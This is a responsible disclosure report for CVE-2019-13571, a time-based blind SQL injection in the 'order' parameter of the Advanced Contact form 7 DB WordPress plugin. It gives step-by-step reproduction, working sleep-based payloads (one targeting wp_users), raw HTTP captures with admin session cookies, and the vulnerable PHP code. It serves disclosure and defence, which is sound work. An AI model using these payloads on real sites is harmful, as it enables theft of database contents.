

# Responsible Disclosure Report

Author: Krauter Riccardo || p4w || paw

Date: 7/07/2019

Affected software: Advanced Contact form 7 DB

email: [riccardo.krauter@gmail.com](mailto:riccardo.krauter@gmail.com)

Linkedin: <https://www.linkedin.com/in/riccardo-krauter-91262b12a/>

Twitter: <https://twitter.com/p4w16>

## Time-Based Blind SQL Injection

### Description:

SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior.

*Time-based* techniques are often used to achieve tests when there is no other way to retrieve information from the database server. This kind of attack injects a *SQL* segment which contains specific DBMS function or heavy query that generates a *time* delay.

In this case the SQL injection vulnerability is possible because the 'order' GET parameter is not properly sanitized in the 'contact\_form\_listing.php' file.

### Impact:

An authenticated user can use this vulnerability to dump all data from the database.

### Step to reproduce:

1. Login into the admin area
2. click on the 'ADVANCED CF7 DB' button
3. Select one form from the list
4. Paste this payload `&orderby=ss&order=,(select sleep(8) where database() like database())` into the uri of your browser
5. Press enter and you should see the browser sleep for eight seconds before the response come back.

## POC and PAYLOADS:

**Request**

Raw Params Headers Hex

POST /wp-admin/admin.php?page=contact-form-listing&cf7\_id=11&orderby=ss&order=(select+sleep(5))+from+ dual+where+data+base()+like+data+base()+--+ HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://localhost/wp-admin/admin.php?page=contact-form-listing&cf7\_id=7

Content-Type: application/x-www-form-urlencoded

Content-Length: 91

Connection: close

Cookie: wordpress\_bbf5b726cb7a9cf3cda9370be3ee91=admin%7C1562690880%7CrPMGpoxk8p4pZJD0qUhxQQ03ktY2IcNvbHFFN2Vd4KMV7C0A47Sae34e9fcb97ca11bc4d14d3e5c15c9434b6d084101a61a2ab44c3ed3f66; Upgrade-Insecure-Requests: 1

page=contact-form-listing&wpnonce=4f033f2d020c&current\_page=1&totalPage=21

**Response**

Raw Headers Hex HTML Render

HTTP/1.1 200 OK

Date: Sun, 07 Jul 2019 16:57:58 GMT

Server: Apache/2.4.39 (Win64) OpenSSL/1.0.2r PHP/7.1.29

X-Powered-By: PHP/7.1.29

Set-Cookie: PHPSESSID=1mncfhl6urkig960sh5b5a5d9; path=/

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

Pragma: no-cache

X-Frame-Options: SAMEORIGIN

Referer-Policy: strict-origin-when-cross-origin

Set-Cookie: wp-settings-1=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0;

Set-Cookie: wp-settings-time-1=1562518679; expires=Mon, 06-Jul-2020 16:57:58 GMT; Max-Age=31536000;

path=/wordpress/

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 41427

<!DOCTYPE html>

<!--[if IE 8]>

<html xmlns="http://www.w3.org/1999/xhtml" class="ie8 wp-toolbar"

lang="it-IT"

<![endif]-->

<!--[if !(IE 8)]><!-->

<html xmlns="http://www.w3.org/1999/xhtml" class="wp-toolbar"

lang="it-IT"

<!--<![endif]-->

<!--<![endif]-->

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

<title>Advanced CF7 DB &laquo; test\_plugin &R212: WordPress</title>

<script type="text/javascript">

addLoadEvent = function(func){if(typeof jQuery!="undefined")jQuery(document).ready(func);else if(typeof wpOnload!="function")wpOnload= function(){wpOnload= function(){(function(){var oldonload=wpOnload;wpOnload=function(){oldonload();}func();});var ajaxurl = "/wordpress/wp-admin/admin-ajax.php";pagenow = 'toplevel\_page\_contact-form-listing';typenow = '';adminpage = 'toplevel\_page\_contact-form-listing';thousandsSeparator = ',';decimalPoint = ',';isRTL = 0;

</script>

<meta name="viewport" content="width=device-width,initial-scale=1.0">

<link rel="dns-prefetch" href="//s.w.org/" />

<style type="text/css">

0 matches

42,117 bytes 8,379 millis

Figure 1 sqli poc payload

**Request**

Raw Params Headers Hex

GET /wp-admin/admin.php?page=contact-form-listing&cf7\_id=11&orderby=ss&order=(select+sleep(5))+from+wp\_users HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://localhost/wp-admin/admin.php?page=contact-form-listing&cf7\_id=7

Connection: close

Cookie: wordpress\_bbf5b726cb7a9cf3cda9370be3ee91=admin%7C1562690880%7CrPMGpoxk8p4pZJD0qUhxQQ03ktY2IcNvbHFFN2Vd4KMV7C0A47Sae34e9fcb97ca11bc4d14d3e5c15c9434b6d084101a61a2ab44c3ed3f66; wordpress\_test\_cookie=WP+Cookie+check; wordpress\_logged\_in\_bbf5b726cb7a9cf3cda9370be3ee91=admin%7C1562690880%7CrPMGpoxk8p4pZJD0qUhxQQ03ktY2IcNvbHFFN2Vd4KMV7C0A47Sae34e9fcb97ca11bc4d14d3e5c15c9434b6d084101a61a2ab44c3ed3f66; admin\_auth=eypdi16inBBTVJ0T0giNU5jR1vTFb0VQVNV5U3PT01LCU2YXw1ZS161k25dnhHTvraFFaUEIya0x3ND24enV2QsInbWIKY1hNcN10VpmbR1VlR01a3RTWpQ8FBoSE5qQ3N0U72pKwVlock1CaW9Zbn1gSfygVwWmsqQ31YenhlTXpCaY7xQ0KrdVJhVDBcL2U4TlpsnSTdSaWdtQVVS51evQES152BoRdM11wWpJ313o120kyZbUlnW7KzA4M5Y5Zncl3W620W6P1MDkew0TzMTV12TctVtA3ND045T7V42bhlTpyMGR0R3cy3mE3Y3Uw0CJ9

Upgrade-Insecure-Requests: 1

**Response**

Raw Headers Hex HTML Render

HTTP/1.1 200 OK

Date: Sun, 07 Jul 2019 17:03:54 GMT

Server: Apache/2.4.39 (Win64) OpenSSL/1.0.2r PHP/7.1.29

X-Powered-By: PHP/7.1.29

Set-Cookie: PHPSESSID=61q79179VmeccnB4t9tadnn5h; path=/

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

Pragma: no-cache

X-Frame-Options: SAMEORIGIN

Referer-Policy: strict-origin-when-cross-origin

Set-Cookie: wp-settings-1=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0;

Set-Cookie: wp-settings-time-1=1562518034; expires=Mon, 06-Jul-2020 17:03:54 GMT; Max-Age=31536000;

path=/wordpress/

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 41554

<!DOCTYPE html>

<!--[if IE 8]>

<html xmlns="http://www.w3.org/1999/xhtml" class="ie8 wp-toolbar"

lang="it-IT"

<![endif]-->

<!--[if !(IE 8)]><!-->

<html xmlns="http://www.w3.org/1999/xhtml" class="wp-toolbar"

lang="it-IT"

<!--<![endif]-->

<!--<![endif]-->

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

<title>Advanced CF7 DB &laquo; test\_plugin &R212: WordPress</title>

<script type="text/javascript">

addLoadEvent = function(func){if(typeof jQuery!="undefined")jQuery(document).ready(func);else if(typeof wpOnload!="function")wpOnload= function(){wpOnload= function(){(function(){var oldonload=wpOnload;wpOnload=function(){oldonload();}func();});var ajaxurl = "/wordpress/wp-admin/admin-ajax.php";pagenow = 'toplevel\_page\_contact-form-listing';typenow = '';adminpage = 'toplevel\_page\_contact-form-listing';thousandsSeparator = ',';decimalPoint = ',';isRTL = 0;

</script>

<meta name="viewport" content="width=device-width,initial-scale=1.0">

<link rel="dns-prefetch" href="//s.w.org/" />

0 matches

42,244 bytes 8,398 millis

Figure 2 sqli extracting admin password

```

contact_form_listing.php
231     `value` LIKE '%" . $search . "%' : ''"). " AND data_id IN (". $data_ids .")
232     GROUP BY `data_id` ORDER BY ". $cf7d_entry_order_by . "
233 )
234 temp_table)
235 GROUP BY `data_id` ORDER BY " . $cf7d_entry_order_by;
236
237 $arr_total = $wpdb->get_results($total_query);
238
239 }
240 //Call when any filter not active on Listing screen
241 else{
242     //die("[+] Yay im here: \nline 242 ". file ". "contact_form_listing.php");
243     if(isset($_GET["orderby"]) && isset($_GET["order"]) && !empty($_GET["orderby"]) && !empty($_GET["order"])){
244         $qry = "SELECT `data_id` FROM '".VSZ_CF7_DATA_ENTRY_TABLE_NAME.'" WHERE `cf7_id` = ".$fid." AND `name` = '". $_GET['orderby']."' AND data_id IN(
245             SELECT * FROM (
246                 SELECT data_id FROM '".VSZ_CF7_DATA_ENTRY_TABLE_NAME.'" WHERE 1 = 1 AND `cf7_id` = ".$fid."
247                 GROUP BY `data_id` ORDER BY ". $cf7d_entry_order_by . " LIMIT ".$offset.", ".$items_per_page."
248             )
249             temp_table)
250             ORDER BY `value` " . $_GET["order"] . " " . $cf7d_entry_order_by;
251         echo("[+] Yay im here: \n<br>\n". $qry . "\n <br>line 251 ". file ". "contact_form_listing.php");
252         $idVals = $wpdb->get_results ( $qry );
253         $id_val = array();
254         if(!empty($idVals)){
255             foreach($idVals as $o_id){

```

Figure 3 vulnerable code POC

Timeline:

- 7/07/2019: Reported the vulnerability to [Vsourz Digital](#)
- 16/07/2019 Vsourz Digital fixed the plugin <https://plugins.trac.wordpress.org/changeset/2123623>
- 30/07/2019 Mitre assigned CVE-2019-13571
- 03/08/2019 public disclosure

Reference:

<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13571>